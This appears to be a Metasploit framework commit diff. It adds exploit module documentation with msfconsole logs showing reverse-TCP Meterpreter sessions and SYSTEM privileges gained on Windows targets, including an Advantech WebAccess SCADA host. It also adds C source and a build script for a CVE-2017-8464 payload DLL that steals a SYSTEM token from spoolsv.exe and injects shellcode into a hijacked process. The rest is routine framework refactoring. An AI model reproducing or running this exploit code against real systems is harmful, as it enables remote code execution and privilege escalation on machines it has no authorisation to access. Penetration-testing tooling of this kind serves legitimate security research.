Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows x64
|
||||
|
||||
|
||||
> run -j
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Started reverse TCP handler on 192.168.135.112:30002
|
||||
[*] Generating LNK file to load: C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
|
||||
[*] Sending stage (205379 bytes) to 192.168.134.133
|
||||
[*] Meterpreter session 2 opened (192.168.135.112:30002 -> 192.168.134.133:49179) at 2017-11-06 10:23:03 -0800
|
||||
[*] Waiting 15s before file cleanup...
|
||||
[+] Deleted C:\Users\msfuser\HADoIQMbEQDpbbRn.lnk
|
||||
[+] Deleted C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
|
||||
> sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Type Information Connection
|
||||
-- ---- ----------- ----------
|
||||
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
|
||||
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN7X64-SP0 192.168.135.112:30002 -> 192.168.134.133:49179 (192.168.134.133)
|
||||
|
||||
> getuid
|
||||
Server username: WIN7X64-SP0\msfuser
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
> getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
> getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
> exit -y
|
||||
```
|
||||
|
||||
## Compiling instructions
|
||||
`cd ./external/source/exploits/cve-2017-8464`
|
||||
`./build.sh`
|
||||
|
||||
(Requires `mingw-w64` package)
|
@ -0,0 +1,108 @@
|
||||
## Vulnerable Application
|
||||
|
||||
[Advantech WebAccess <= 8.2](http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170330.exe)
|
||||
|
||||
## Vulnerability Analysis
|
||||
|
||||
The stack overflow happens in sub_10004BC8:
|
||||
|
||||
```
|
||||
.text:10004BC8 ; int __cdecl sub_10004BC8(char *Format, char)
|
||||
.text:10004BC8 sub_10004BC8 proc near ;
|
||||
.text:10004BC8 ;
|
||||
.text:10004BC8
|
||||
.text:10004BC8 lpWindowName = dword ptr -818h
|
||||
.text:10004BC8 hWnd = dword ptr -814h
|
||||
.text:10004BC8 lpClassName = dword ptr -810h
|
||||
.text:10004BC8 Args = dword ptr -80Ch
|
||||
.text:10004BC8 lpBaseAddress = dword ptr -808h
|
||||
.text:10004BC8 hFileMappingObject= dword ptr -804h
|
||||
.text:10004BC8 Dest = byte ptr -800h
|
||||
.text:10004BC8 Format = dword ptr 8
|
||||
.text:10004BC8 arg_4 = byte ptr 0Ch
|
||||
.text:10004BC8
|
||||
.text:10004BC8 push ebp
|
||||
.text:10004BC9 mov ebp, esp
|
||||
.text:10004BCB sub esp, 818h
|
||||
.text:10004BD1 mov [ebp+lpWindowName], offset aDebugScreen1 ; "Debug Screen1"
|
||||
.text:10004BDB mov [ebp+lpClassName], offset aDebugwclass1 ; "debugWClass1"
|
||||
.text:10004BE5 lea eax, [ebp+arg_4]
|
||||
.text:10004BE8 mov [ebp+Args], eax
|
||||
.text:10004BEE mov ecx, [ebp+Args]
|
||||
.text:10004BF4 push ecx ; Args
|
||||
.text:10004BF5 mov edx, [ebp+Format]
|
||||
.text:10004BF8 push edx ; Format
|
||||
.text:10004BF9 lea eax, [ebp+Dest]
|
||||
.text:10004BFF push eax ; Dest
|
||||
.text:10004C00 call ds:vsprintf ; overflow
|
||||
```
|
||||
|
||||
The corresponding IDL is below:
|
||||
|
||||
```
|
||||
[
|
||||
uuid(5d2b62aa-ee0a-4a95-91ae-b064fdb471fc),
|
||||
version(1.0)
|
||||
]
|
||||
|
||||
interface target_interface
|
||||
{
|
||||
|
||||
/* opcode: 0x01, address: 0x00401260 */
|
||||
|
||||
void sub_401260 (
|
||||
[in] handle_t arg_1,
|
||||
[in] long arg_2,
|
||||
[in] long arg_3,
|
||||
[in] long arg_4,
|
||||
[in][ref][size_is(arg_4)] char * arg_5,
|
||||
[out][ref] long * arg_6
|
||||
);
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploits/windows/scada/advantech_webaccess_webvrpcs_bof`
|
||||
3. `set payload windows/meterpreter/reverse_tcp`
|
||||
4. `set LHOST XXX.XXX.XXX.XXX`
|
||||
5. `exploit`
|
||||
6. **Verify** you get a connect back meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
None.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/advantech.rc
|
||||
[*] Processing scripts/advantech.rc for ERB directives.
|
||||
resource (scripts/advantech.rc)> use exploit/windows/scada/advantech_webaccess_webvrpcs_bof
|
||||
resource (scripts/advantech.rc)> set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
resource (scripts/advantech.rc)> set RHOST 172.16.175.136
|
||||
RHOST => 172.16.175.136
|
||||
resource (scripts/advantech.rc)> set LHOST 172.16.175.1
|
||||
LHOST => 172.16.175.1
|
||||
resource (scripts/advantech.rc)> exploit
|
||||
[*] Started reverse TCP handler on 172.16.175.1:4444
|
||||
[*] 172.16.175.136:4592 - Binding to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ...
|
||||
[*] 172.16.175.136:4592 - Bound to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ...
|
||||
[+] 172.16.175.136:4592 - Got a handle: 0x01ef2558
|
||||
[*] 172.16.175.136:4592 - Trying target Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31...
|
||||
[*] Sending stage (179779 bytes) to 172.16.175.136
|
||||
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.136:49206) at 2017-12-11 11:32:15 -0600
|
||||
[*] 172.16.175.136:4592 - The DCERPC service did not reply to our request
|
||||
|
||||
meterpreter > shell
|
||||
Process 5208 created.
|
||||
Channel 1 created.
|
||||
Microsoft Windows [Version 6.1.7601]
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\WebAccess\Node>
|
||||
```
|
@ -4,7 +4,7 @@
|
||||
via its SMTP server validation. The module sends a malicious response along in the
|
||||
220 service ready response and exploits the client, resulting in an unprivileged shell.
|
||||
|
||||
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
|
||||
The software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
17
external/source/exploits/cve-2017-8464/build.sh
vendored
Executable file
17
external/source/exploits/cve-2017-8464/build.sh
vendored
Executable file
@ -0,0 +1,17 @@
|
||||
#!/bin/sh
|
||||
rm -f *.o *.dll
|
||||
|
||||
CCx86="i686-w64-mingw32"
|
||||
CCx64="x86_64-w64-mingw32"
|
||||
|
||||
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
|
||||
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
|
||||
${CCx64}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
|
||||
rm -f temp.dll *.o
|
||||
chmod -x ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
|
||||
|
||||
${CCx86}-gcc -c -Os template.c -Wall -shared
|
||||
${CCx86}-dllwrap --def template.def *.o -o temp.dll
|
||||
${CCx86}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll
|
||||
rm -f temp.dll *.o
|
||||
chmod -x ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll
|
241
external/source/exploits/cve-2017-8464/template.c
vendored
Normal file
241
external/source/exploits/cve-2017-8464/template.c
vendored
Normal file
@ -0,0 +1,241 @@
|
||||
#include <windows.h>
|
||||
#include <sddl.h>
|
||||
#include <tchar.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <userenv.h>
|
||||
|
||||
#include "template.h"
|
||||
|
||||
void ExecutePayload(HANDLE hDll);
|
||||
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
|
||||
switch (dwReason) {
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload(hDll);
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
|
||||
int result;
|
||||
|
||||
if (strlen(szStr) < strlen(szSuffix)) {
|
||||
return FALSE;
|
||||
}
|
||||
if (bCaseSensitive) {
|
||||
result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
|
||||
}
|
||||
else {
|
||||
result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
|
||||
}
|
||||
return result == 0;
|
||||
}
|
||||
|
||||
BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
|
||||
HANDLE hToken;
|
||||
DWORD dwLength = 0;
|
||||
TOKEN_USER *tuUser = NULL;
|
||||
SIZE_T szSid = 0;
|
||||
|
||||
*pSid = NULL;
|
||||
if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
|
||||
tuUser = (TOKEN_USER *)malloc(dwLength);
|
||||
if (!tuUser) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
|
||||
free(tuUser);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
szSid = GetLengthSid(tuUser->User.Sid);
|
||||
*pSid = LocalAlloc(LPTR, szSid);
|
||||
if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {
|
||||
LocalFree(*pSid);
|
||||
*pSid = NULL;
|
||||
}
|
||||
|
||||
free(tuUser);
|
||||
CloseHandle(hToken);
|
||||
return *pSid != NULL;
|
||||
}
|
||||
|
||||
BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
|
||||
PSID pTestSid = NULL;
|
||||
PSID pTargetSid = NULL;
|
||||
|
||||
if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!GetProcessSid(hProc, &pTestSid)) {
|
||||
LocalFree(pTargetSid);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*pbResult = EqualSid(pTestSid, pTargetSid);
|
||||
LocalFree(pTargetSid);
|
||||
LocalFree(pTestSid);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
DWORD FindProcessId(LPCTSTR szProcessName) {
|
||||
HANDLE hProcessSnap;
|
||||
PROCESSENTRY32 pe32;
|
||||
DWORD result = 0;
|
||||
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
CloseHandle(hProcessSnap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
do {
|
||||
if (!strcmp(szProcessName, pe32.szExeFile)) {
|
||||
result = pe32.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
CloseHandle(hProcessSnap);
|
||||
return result;
|
||||
}
|
||||
|
||||
HANDLE GetPayloadToken(void) {
|
||||
HANDLE hTokenHandle = NULL;
|
||||
HANDLE hProcessHandle = NULL;
|
||||
BOOL bIsSystem = FALSE;
|
||||
DWORD dwPid = 0;
|
||||
CHAR Path[MAX_PATH + 1];
|
||||
|
||||
ZeroMemory(Path, sizeof(Path));
|
||||
GetModuleFileNameA(NULL, Path, MAX_PATH);
|
||||
if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
|
||||
return NULL;
|
||||
}
|
||||
/* loaded into the context of SearchProtocolHost.exe */
|
||||
|
||||
if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
|
||||
return NULL;
|
||||
}
|
||||
/* and running as NT_AUTHORITY SYSTEM */
|
||||
|
||||
dwPid = FindProcessId("spoolsv.exe");
|
||||
if (!dwPid) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
|
||||
if (!hProcessHandle) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bIsSystem = FALSE;
|
||||
if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
|
||||
return NULL;
|
||||
}
|
||||
/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
|
||||
|
||||
OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
|
||||
CloseHandle(hProcessHandle);
|
||||
return hTokenHandle;
|
||||
}
|
||||
|
||||
DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
|
||||
/* wait for the process to exit or 10 seconds before cleaning up */
|
||||
WaitForSingleObject(pExploitData->hProcess, 10000);
|
||||
CloseHandle(pExploitData->hProcess);
|
||||
CloseHandle(pExploitData->hMutex);
|
||||
|
||||
/* this does not return */
|
||||
FreeLibraryAndExitThread(pExploitData->hModule, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void ExecutePayload(HANDLE hDll) {
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
LPVOID ep;
|
||||
SECURITY_ATTRIBUTES MutexAttributes;
|
||||
SIZE_T dwBytesWritten = 0;
|
||||
PEXPLOIT_DATA pExploitData = NULL;
|
||||
HANDLE hToken;
|
||||
|
||||
pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
|
||||
if (!pExploitData) {
|
||||
return;
|
||||
}
|
||||
|
||||
/* keep a reference to the module for synchronization purposes */
|
||||
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
|
||||
|
||||
ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
|
||||
MutexAttributes.nLength = sizeof(MutexAttributes);
|
||||
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
|
||||
pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
|
||||
if (!pExploitData->hMutex) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (GetLastError() == ERROR_ALREADY_EXISTS) {
|
||||
CloseHandle(pExploitData->hMutex);
|
||||
return;
|
||||
}
|
||||
|
||||
if (GetLastError() == ERROR_ACCESS_DENIED) {
|
||||
CloseHandle(pExploitData->hMutex);
|
||||
return;
|
||||
}
|
||||
|
||||
hToken = GetPayloadToken();
|
||||
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
/* start up the payload in a new process */
|
||||
if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
|
||||
if (dwBytesWritten == SCSIZE) {
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread, &ctx);
|
||||
ResumeThread(pi.hThread);
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
pExploitData->hProcess = pi.hProcess;
|
||||
}
|
||||
}
|
||||
|
||||
if (hToken) {
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
|
||||
}
|
11
external/source/exploits/cve-2017-8464/template.h
vendored
Normal file
11
external/source/exploits/cve-2017-8464/template.h
vendored
Normal file
@ -0,0 +1,11 @@
|
||||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
typedef struct {
|
||||
HANDLE hModule;
|
||||
HANDLE hMutex;
|
||||
HANDLE hProcess;
|
||||
} EXPLOIT_DATA, *PEXPLOIT_DATA;
|
||||
|
||||
#define SIDSTR_SYSTEM _T("s-1-5-18")
|
||||
#define IsProcessRunningAsSystem(hProc, bResult) IsProcessRunningAsSidString(hProc, SIDSTR_SYSTEM, bResult)
|
@ -634,8 +634,8 @@ module Metasploit
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||
else
|
||||
raise RunTimeError, "Unable to parse encryption req. "\
|
||||
"from server during prelogin"
|
||||
framework_module.print_error("Unable to parse encryption req " \
|
||||
"during pre-login, this may not be a MSSQL server")
|
||||
encryption_mode = ENCRYPT_NOT_SUP
|
||||
end
|
||||
|
||||
@ -682,8 +682,9 @@ module Metasploit
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||
else
|
||||
raise RuntimeError, "Unable to parse encryption "\
|
||||
"req during pre-login"
|
||||
framework_module.print_error("Unable to parse encryption req " \
|
||||
"during pre-login, this may not be a MSSQL server")
|
||||
encryption_mode = ENCRYPT_NOT_SUP
|
||||
end
|
||||
end
|
||||
encryption_mode
|
||||
|
@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "4.16.14"
|
||||
VERSION = "4.16.24"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
@ -634,7 +634,6 @@ class ReadableText
|
||||
sess_via = session.via_exploit.to_s
|
||||
sess_type = session.type.to_s
|
||||
sess_uuid = session.payload_uuid.to_s
|
||||
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
|
||||
sess_luri = session.exploit_datastore['LURI'] || "" if session.exploit_datastore
|
||||
sess_enc = false
|
||||
if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
|
||||
@ -652,10 +651,10 @@ class ReadableText
|
||||
sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
|
||||
end
|
||||
|
||||
if session.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid])
|
||||
if session.payload_uuid.registered
|
||||
sess_registration = "Yes"
|
||||
if uuid_info['name']
|
||||
sess_registration << " - Name=\"#{uuid_info['name']}\""
|
||||
if session.payload_uuid.name
|
||||
sess_registration << " - Name=\"#{session.payload_uuid.name}\""
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -147,9 +147,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
||||
session.core.set_session_guid(guid)
|
||||
session.session_guid = guid
|
||||
# TODO: New statgeless session, do some account in the DB so we can track it later.
|
||||
# TODO: New stageless session, do some account in the DB so we can track it later.
|
||||
else
|
||||
# TODO: This session was either staged or previously known, and so we shold do some accounting here!
|
||||
# TODO: This session was either staged or previously known, and so we should do some accounting here!
|
||||
end
|
||||
|
||||
unless datastore['AutoLoadStdapi'] == false
|
||||
|
@ -27,6 +27,10 @@ module Msf
|
||||
generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid])
|
||||
end
|
||||
|
||||
def generate_uri_option(opts, opt)
|
||||
opts[opt] ? "--#{opt} '#{opts[opt].gsub(/'/, "\\'")}' " : ''
|
||||
end
|
||||
|
||||
def generate_http_uri(opts)
|
||||
if Rex::Socket.is_ipv6?(opts[:lhost])
|
||||
target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]"
|
||||
@ -38,7 +42,15 @@ module Msf
|
||||
target_uri << opts[:lport].to_s
|
||||
target_uri << luri
|
||||
target_uri << generate_uri(opts)
|
||||
target_uri
|
||||
target_uri << '|'
|
||||
target_uri << generate_uri_option(opts, :ua)
|
||||
target_uri << generate_uri_option(opts, :host)
|
||||
target_uri << generate_uri_option(opts, :referer)
|
||||
if opts[:cookie]
|
||||
opts[:header] = "Cookie: #{opts[:cookie]}"
|
||||
target_uri << generate_uri_option(opts, :header)
|
||||
end
|
||||
target_uri.strip
|
||||
end
|
||||
|
||||
def generate_tcp_uri(opts)
|
||||
@ -57,14 +69,11 @@ module Msf
|
||||
|
||||
case opts[:scheme]
|
||||
when 'http'
|
||||
transport = transport_config_reverse_http(opts)
|
||||
opts[:uri] = generate_http_uri(transport)
|
||||
opts[:uri] = generate_http_uri(transport_config_reverse_http(opts))
|
||||
when 'https'
|
||||
transport = transport_config_reverse_https(opts)
|
||||
opts[:uri] = generate_http_uri(transport)
|
||||
opts[:uri] = generate_http_uri(transport_config_reverse_https(opts))
|
||||
when 'tcp'
|
||||
transport = transport_config_reverse_tcp(opts)
|
||||
opts[:uri] = generate_tcp_uri(transport)
|
||||
opts[:uri] = generate_tcp_uri(transport_config_reverse_tcp(opts))
|
||||
else
|
||||
raise ArgumentError, "Unknown scheme: #{opts[:scheme]}"
|
||||
end
|
||||
@ -74,7 +83,7 @@ module Msf
|
||||
unless opts[:stageless] == true
|
||||
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
||||
end
|
||||
opts[:session_guid] = Base64.encode64(guid)
|
||||
opts[:session_guid] = Base64.encode64(guid).strip
|
||||
|
||||
opts.slice(:uuid, :session_guid, :uri, :debug, :log_file)
|
||||
end
|
||||
|
@ -10,8 +10,7 @@
|
||||
#
|
||||
###
|
||||
|
||||
# Sanity check this version of ruby
|
||||
require 'msf/sanity'
|
||||
# Include backported features for older versions of Ruby
|
||||
require 'backports'
|
||||
|
||||
# The framework-core depends on Rex
|
||||
|
@ -17,6 +17,7 @@ class Msf::Author
|
||||
KNOWN = {
|
||||
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
|
||||
'anonymous' => 'Unknown',
|
||||
'aushack' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
|
||||
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
|
||||
'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
|
||||
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
|
||||
@ -39,7 +40,6 @@ class Msf::Author
|
||||
'mubix' => 'mubix' + 0x40.chr + 'hak5.org',
|
||||
'natron' => 'natron' + 0x40.chr + 'metasploit.com',
|
||||
'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
|
||||
'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
|
||||
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
|
||||
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
|
||||
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',
|
||||
|
@ -43,7 +43,7 @@ def rport
|
||||
end
|
||||
|
||||
def set_nmap_cmd
|
||||
self.nmap_bin || (raise RuntimeError, "Cannot locate nmap binary")
|
||||
self.nmap_bin || (raise "Cannot locate nmap binary")
|
||||
nmap_set_log
|
||||
nmap_add_ports
|
||||
nmap_cmd = [self.nmap_bin]
|
||||
@ -54,7 +54,7 @@ def set_nmap_cmd
|
||||
end
|
||||
|
||||
def get_nmap_ver
|
||||
self.nmap_bin || (raise RuntimeError, "Cannot locate nmap binary")
|
||||
self.nmap_bin || (raise "Cannot locate nmap binary")
|
||||
res = ""
|
||||
nmap_cmd = [self.nmap_bin]
|
||||
nmap_cmd << "--version"
|
||||
@ -84,7 +84,7 @@ def nmap_version_at_least?(test_ver=nil)
|
||||
end
|
||||
|
||||
def nmap_build_args
|
||||
raise RuntimeError, "nmap_build_args() not defined by #{self.refname}"
|
||||
raise "nmap_build_args() not defined by #{self.refname}"
|
||||
end
|
||||
|
||||
def nmap_run
|
||||
@ -159,13 +159,13 @@ end
|
||||
# A helper to add in rport or rports as a -p argument
|
||||
def nmap_add_ports
|
||||
if not nmap_validate_rports
|
||||
raise RuntimeError, "Cannot continue without a valid port list."
|
||||
raise "Cannot continue without a valid port list."
|
||||
end
|
||||
port_arg = "-p \"#{datastore['RPORT'] || rports}\""
|
||||
if nmap_validate_arg(port_arg)
|
||||
self.nmap_args << port_arg
|
||||
else
|
||||
raise RunTimeError, "Argument is invalid"
|
||||
raise "Argument is invalid"
|
||||
end
|
||||
end
|
||||
|
||||
@ -237,7 +237,7 @@ end
|
||||
# module to ferret out whatever's interesting in this host
|
||||
# object.
|
||||
def nmap_hosts(&block)
|
||||
@nmap_bin || (raise RuntimeError, "Cannot locate the nmap binary.")
|
||||
@nmap_bin || (raise "Cannot locate the nmap binary.")
|
||||
fh = self.nmap_log[0]
|
||||
nmap_data = fh.read(fh.stat.size)
|
||||
# fh.unlink
|
||||
|
@ -44,7 +44,7 @@ module Msf::DBManager::Report
|
||||
|
||||
unless artifact.valid?
|
||||
errors = artifact.errors.full_messages.join('; ')
|
||||
raise RuntimeError "Artifact to be imported is not valid: #{errors}"
|
||||
raise "Artifact to be imported is not valid: #{errors}"
|
||||
end
|
||||
artifact.save
|
||||
end
|
||||
@ -66,7 +66,7 @@ module Msf::DBManager::Report
|
||||
|
||||
unless report.valid?
|
||||
errors = report.errors.full_messages.join('; ')
|
||||
raise RuntimeError "Report to be imported is not valid: #{errors}"
|
||||
raise "Report to be imported is not valid: #{errors}"
|
||||
end
|
||||
report.state = :complete # Presume complete since it was exported
|
||||
report.save
|
||||
@ -83,4 +83,4 @@ module Msf::DBManager::Report
|
||||
wspace.reports
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -137,6 +137,8 @@ module Exploit::CmdStager
|
||||
raise ArgumentError, 'The command stager could not be generated'
|
||||
end
|
||||
|
||||
vprint_status("Generated command stager: #{cmd_list.join}")
|
||||
|
||||
cmd_list
|
||||
end
|
||||
|
||||
|
@ -143,6 +143,70 @@ module Exploit::Remote::DCERPC
|
||||
end
|
||||
end
|
||||
|
||||
# XXX: Copypasta from exploit/windows/smb/ms17_010_eternalblue
|
||||
#
|
||||
# https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
|
||||
# https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
|
||||
def dcerpc_getarch
|
||||
ret = nil
|
||||
|
||||
connect_timeout = (datastore['ConnectTimeout'] || 10).to_i
|
||||
read_timeout = (datastore['DCERPC::ReadTimeout'] || 10).to_i
|
||||
|
||||
pkt = Rex::Proto::DCERPC::Packet.make_bind(
|
||||
# Abstract Syntax: EPMv4 V3.0
|
||||
'e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0',
|
||||
# Transfer Syntax[1]: 64bit NDR V1
|
||||
'71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
|
||||
).first
|
||||
|
||||
begin
|
||||
nsock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => 135,
|
||||
'Proxies' => proxies,
|
||||
'Timeout' => connect_timeout,
|
||||
'Context' => {
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
}
|
||||
)
|
||||
rescue Rex::ConnectionError => e
|
||||
vprint_error(e.to_s)
|
||||
return nil
|
||||
end
|
||||
|
||||
nsock.put(pkt)
|
||||
|
||||
begin
|
||||
res = nsock.get_once(60, read_timeout)
|
||||
rescue EOFError
|
||||
vprint_error('DCE/RPC socket returned EOFError')
|
||||
return nil
|
||||
end
|
||||
|
||||
disconnect(nsock)
|
||||
|
||||
begin
|
||||
resp = Rex::Proto::DCERPC::Response.new(res)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
|
||||
vprint_error(e.to_s)
|
||||
return nil
|
||||
end
|
||||
|
||||
# Ack result: Acceptance (0)
|
||||
if resp.ack_result.first == 0
|
||||
ret = ARCH_X64
|
||||
end
|
||||
# Ack result: Provider rejection (2)
|
||||
# Ack reason: Proposed transfer syntaxes not supported (2)
|
||||
if resp.ack_result.first == 2 && resp.ack_reason.first == 2
|
||||
ret = ARCH_X86
|
||||
end
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
# Convert a standard ASCII string to 16-bit Unicode
|
||||
def unicode(str)
|
||||
Rex::Text.to_unicode(str)
|
||||
|
@ -474,7 +474,13 @@ module Exploit::Remote::HttpClient
|
||||
|
||||
uri = normalize_uri(custom_uri || target_uri.to_s)
|
||||
|
||||
